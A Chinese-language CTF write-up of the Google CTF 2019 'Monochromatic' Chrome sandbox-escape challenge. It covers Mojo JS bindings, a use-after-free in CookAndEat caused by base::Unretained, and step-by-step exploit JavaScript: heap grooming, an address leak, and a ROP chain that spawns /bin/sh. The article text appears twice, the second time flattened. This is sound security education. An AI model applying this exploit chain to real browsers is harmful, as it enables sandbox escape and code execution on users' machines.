沙箱逃逸之google ctf 2019 Monochromatic writeup
字数 1155 2025-08-06 18:07:59

Chrome沙箱逃逸漏洞分析与利用:Google CTF 2019 Monochromatic题解

1. 基础知识:Mojo JS Bindings API

1.1 Mojo架构概述

Mojo是Chromium的进程间通信(IPC)系统,其架构分为四个层次:

  1. Mojo Core:核心功能实现
  2. Mojo System API(C):提供基础API接口(message pipes, data pipes, shared buffers等)
  3. Higher-Level System APIs:高级语言抽象接口(C++, JS, Java)
  4. Bindings APIs:使用IDL生成的接口实现(支持C++, JS, Java)

1.2 JS Bindings API使用流程

  1. 定义.mojom接口文件
module test.echo.mojom;

interface Echo {
  EchoInteger(int32 value) => (int32 result);
};
  1. 编译生成binding
    在BUILD.gn中添加:
import("//mojo/public/tools/bindings/mojom.gni")

mojom("interfaces") {
  sources = ["echo.mojom"]
}
  1. 在HTML中使用
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
  var echoPtr = new test.echo.mojom.EchoPtr();
  var echoRequest = mojo.makeRequest(echoPtr);
  // ...
</script>
  1. 完整实现示例
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
  function EchoImpl() {}
  EchoImpl.prototype.echoInteger = function(value) {
    return Promise.resolve({result: value});
  };

  var echoServicePtr = new test.echo.mojom.EchoPtr();
  var echoServiceRequest = mojo.makeRequest(echoServicePtr);
  var echoServiceBinding = new mojo.Binding(
    test.echo.mojom.Echo, 
    new EchoImpl(), 
    echoServiceRequest
  );

  echoServicePtr.echoInteger({value: 123}).then(function(response) {
    console.log('The result is ' + response.value);
  });
</script>

2. 题目分析

2.1 环境配置

启动Chrome时添加--enable-blink-features=MojoJS参数启用MojoJS接口:

args = [
  './binary/chrome',
  '--enable-blink-features=MojoJS',
  '--disable-gpu',
  '--headless',
  '--repl'
]

2.2 补丁分析

补丁主要添加了以下接口:

  1. BeingCreatorInterface
interface BeingCreatorInterface {
  CreatePerson() => (blink.mojom.PersonInterface? person);
  CreateDog() => (blink.mojom.DogInterface? dog);
  CreateCat() => (blink.mojom.CatInterface? cat);
};
  1. Person/Dog/Cat接口
interface PersonInterface {
  GetName() => (string name);
  SetName(string new_name);
  GetAge() => (uint64 age);
  SetAge(uint64 new_age);
  GetWeight() => (uint64 weight);
  SetWeight(uint64 new_weight);
  CookAndEat(blink.mojom.FoodInterface food);
};
  1. FoodInterface(未实现):
interface FoodInterface {
  GetDescription() => (string description);
  SetDescription(string new_description);
  GetWeight() => (uint64 weight);
  SetWeight(uint64 new_weight);
};

2.3 对象内存布局

三个对象的内存布局不同(包含虚表指针):

  1. CatInterfaceImpl
pointer vtable;
pointer __data_;  // string name
size_type __size_;
size_type __cap_;
uint64_t age;
uint64_t weight;
  1. DogInterfaceImpl
pointer vtable;
uint64_t weight;
pointer __data_;  // string name
size_type __size_;
size_type __cap_;
uint64_t age;
  1. PersonInterfaceImpl
pointer vtable;
uint64_t age;
uint64_t weight;
pointer __data_;  // string name
size_type __size_;
size_type __cap_;

2.4 漏洞分析

漏洞位于CookAndEat函数实现中:

void PersonInterfaceImpl::CookAndEat(
    blink::mojom::FoodInterfacePtr foodPtr,
    CookAndEatCallback callback) {
  blink::mojom::FoodInterface* raw_food = foodPtr.get();
  
  raw_food->GetWeight(base::BindOnce(
      &PersonInterfaceImpl::AddWeight,
      base::Unretained(this),
      std::move(callback), 
      std::move(foodPtr)));
}

漏洞成因:

  1. 使用base::Unretained(this)传递this指针
  2. GetWeight回调中可以释放原对象
  3. 导致后续AddWeight调用时出现UAF

3. 漏洞利用

3.1 利用思路

  1. 通过类型混淆实现内存重叠
  2. 构造特定内存布局使一个对象的name指针指向另一个对象的name
  3. 释放一个对象后重新分配,形成UAF
  4. 泄露虚表指针和堆地址
  5. 构造ROP链劫持控制流

3.2 详细利用步骤

步骤1:初始化环境

let dogCount = 8;
let catCount = 0x10;
let stringSize = 0x40;

// 创建8个Dog对象
let dogPtrArr = [];
let catPtrArr = [];
for(let i=0; i<dogCount; i++) {
  let dogPtr = (await mojoPtr.createDog()).dog;
  await dogPtr.setName('a'.repeat(stringSize));
  dogPtrArr.push(dogPtr);
}

步骤2:实现FoodInterface

function FoodInterfaceImpl() {}

FoodInterfaceImpl.prototype.getWeight = async function() {
  if(!this.weight) {
    return {'weight': 0x101};
  }
  return {'weight': this.weight};
};

// ...其他接口实现...

步骤3:触发漏洞

// 绑定FoodInterface
var foodInterfacePtr = new blink.mojom.FoodInterfacePtr();
var foodInterfaceRequest = mojo.makeRequest(foodInterfacePtr);
var foodInterfaceBinding = new mojo.Binding(
  blink.mojom.FoodInterface,
  new FoodInterfaceImpl(),
  foodInterfaceRequest
);

// 触发UAF漏洞
dogPtrArr[dogPtrArr.length-1].cookAndEat(foodInterfacePtr);

步骤4:堆风水布局

FoodInterfaceImpl.prototype.getWeight = async function() {
  // 释放最后一个Dog对象
  dogPtrArr.pop().ptr.reset();
  
  // 扩大其他Dog的name大小,制造0x40大小的hole
  for(let i=0; i<dogPtrArr.length; i++) {
    await dogPtrArr[i].setName('a'.repeat(stringSize*100));
  }
  
  // 创建Cat对象填充hole
  for(let i=0; i<catCount; i++) {
    let catPtr = (await mojoPtr.createCat()).cat;
    catPtrArr.push(catPtr);
  }
  
  // 设置Cat的name(0x40大小)
  for(let i=0; i<catCount; i++) {
    await catPtrArr[i].setName(id2Str(i, stringSize));
  }
  
  // 返回0x40将修改一个Cat的name指向相邻Cat的name
  return {'weight': 0x40};
};

步骤5:寻找重叠对象

// 查找被修改的Cat对象
let evilIdx = -1;
let evil = undefined;
for(let i=0; i<catCount; i++){
  let name = (await catPtrArr[i].getName()).name;
  if(name != id2Str(i, stringSize)){
    evilIdx = i;
    evil = catPtrArr[i];
    break;
  }
}

// 验证并获取victim对象
let name = (await evil.getName()).name;
let victimIdx = str2Id(name);
let victim = catPtrArr[victimIdx];

步骤6:泄露地址

// 释放victim的name
victim.setName('a'.repeat(stringSize*200));

// 创建Person对象占用释放的内存
let ropBufferSize = 0x100;
let triggerPersonPtr = (await mojoPtr.createPerson()).person;
await triggerPersonPtr.setName('A'.repeat(ropBufferSize));

// 泄露数据
let leakData = (await evil.getName()).name;
let personVtableAddr = getUint64(leakData, 0);
let leakHeapAddr = getUint64(leakData, 0x18);
let baseAddr = personVtableAddr - 0x8fc19c0n;

步骤7:构造ROP链

let binshAddr = leakHeapAddr+0x68n;
let ropBuffer = new ArrayBuffer(ropBufferSize);
let ropData8 = new Uint8Array(ropBuffer).fill(0x41);
ropDataView = new DataView(ropBuffer);

// 设置ROP链
ropDataView.setBigInt64(0x10, xchgRaxRsp, true);
ropDataView.setBigInt64(0x0, popRsi, true);
ropDataView.setBigInt64(0x8, popRsi, true);
ropDataView.setBigInt64(0x18, popRdi, true);
ropDataView.setBigInt64(0x20, binshAddr, true);
ropDataView.setBigInt64(0x28, popRsi, true);
ropDataView.setBigInt64(0x30, 0n, true);
ropDataView.setBigInt64(0x38, 0n, true);
ropDataView.setBigInt64(0x40, popRdx, true);
ropDataView.setBigInt64(0x48, 0n, true);
ropDataView.setBigInt64(0x50, popRdx, true);
ropDataView.setBigInt64(0x58, 0n, true);
ropDataView.setBigInt64(0x60, execvp, true);
ropDataView.setBigInt64(0x68, 0x68732f6e69622fn, true); // "/bin/sh"

步骤8:触发漏洞

// 设置伪造的虚表
await triggerPersonPtr.setName(ropStr);

// 修改triggerPersonPtr的虚表指向伪造地址
evilData = setUint64(leakData, 0, leakHeapAddr);
await evil.setName(evilData);

// 触发ROP
console.log((await triggerPersonPtr.getName()).name);

4. 总结

本漏洞利用的关键点:

  1. 理解Mojo JS Bindings API的使用方法
  2. 分析不同类型对象的内存布局差异
  3. 通过类型混淆构造内存重叠
  4. 利用UAF泄露地址信息
  5. 构造ROP链实现控制流劫持

该漏洞展示了如何通过精心构造的对象布局和回调机制,利用类型混淆实现沙箱逃逸。这种技术在浏览器漏洞利用中具有典型性,理解其原理对安全研究具有重要意义。

Chrome沙箱逃逸漏洞分析与利用:Google CTF 2019 Monochromatic题解 1. 基础知识:Mojo JS Bindings API 1.1 Mojo架构概述 Mojo是Chromium的进程间通信(IPC)系统,其架构分为四个层次: Mojo Core :核心功能实现 Mojo System API(C) :提供基础API接口(message pipes, data pipes, shared buffers等) Higher-Level System APIs :高级语言抽象接口(C++, JS, Java) Bindings APIs :使用IDL生成的接口实现(支持C++, JS, Java) 1.2 JS Bindings API使用流程 定义.mojom接口文件 : 编译生成binding : 在BUILD.gn中添加: 在HTML中使用 : 完整实现示例 : 2. 题目分析 2.1 环境配置 启动Chrome时添加 --enable-blink-features=MojoJS 参数启用MojoJS接口: 2.2 补丁分析 补丁主要添加了以下接口: BeingCreatorInterface : Person/Dog/Cat接口 : FoodInterface (未实现): 2.3 对象内存布局 三个对象的内存布局不同(包含虚表指针): CatInterfaceImpl : DogInterfaceImpl : PersonInterfaceImpl : 2.4 漏洞分析 漏洞位于 CookAndEat 函数实现中: 漏洞成因: 使用 base::Unretained(this) 传递this指针 在 GetWeight 回调中可以释放原对象 导致后续 AddWeight 调用时出现UAF 3. 漏洞利用 3.1 利用思路 通过类型混淆实现内存重叠 构造特定内存布局使一个对象的name指针指向另一个对象的name 释放一个对象后重新分配,形成UAF 泄露虚表指针和堆地址 构造ROP链劫持控制流 3.2 详细利用步骤 步骤1:初始化环境 步骤2:实现FoodInterface 步骤3:触发漏洞 步骤4:堆风水布局 步骤5:寻找重叠对象 步骤6:泄露地址 步骤7:构造ROP链 步骤8:触发漏洞 4. 总结 本漏洞利用的关键点: 理解Mojo JS Bindings API的使用方法 分析不同类型对象的内存布局差异 通过类型混淆构造内存重叠 利用UAF泄露地址信息 构造ROP链实现控制流劫持 该漏洞展示了如何通过精心构造的对象布局和回调机制,利用类型混淆实现沙箱逃逸。这种技术在浏览器漏洞利用中具有典型性,理解其原理对安全研究具有重要意义。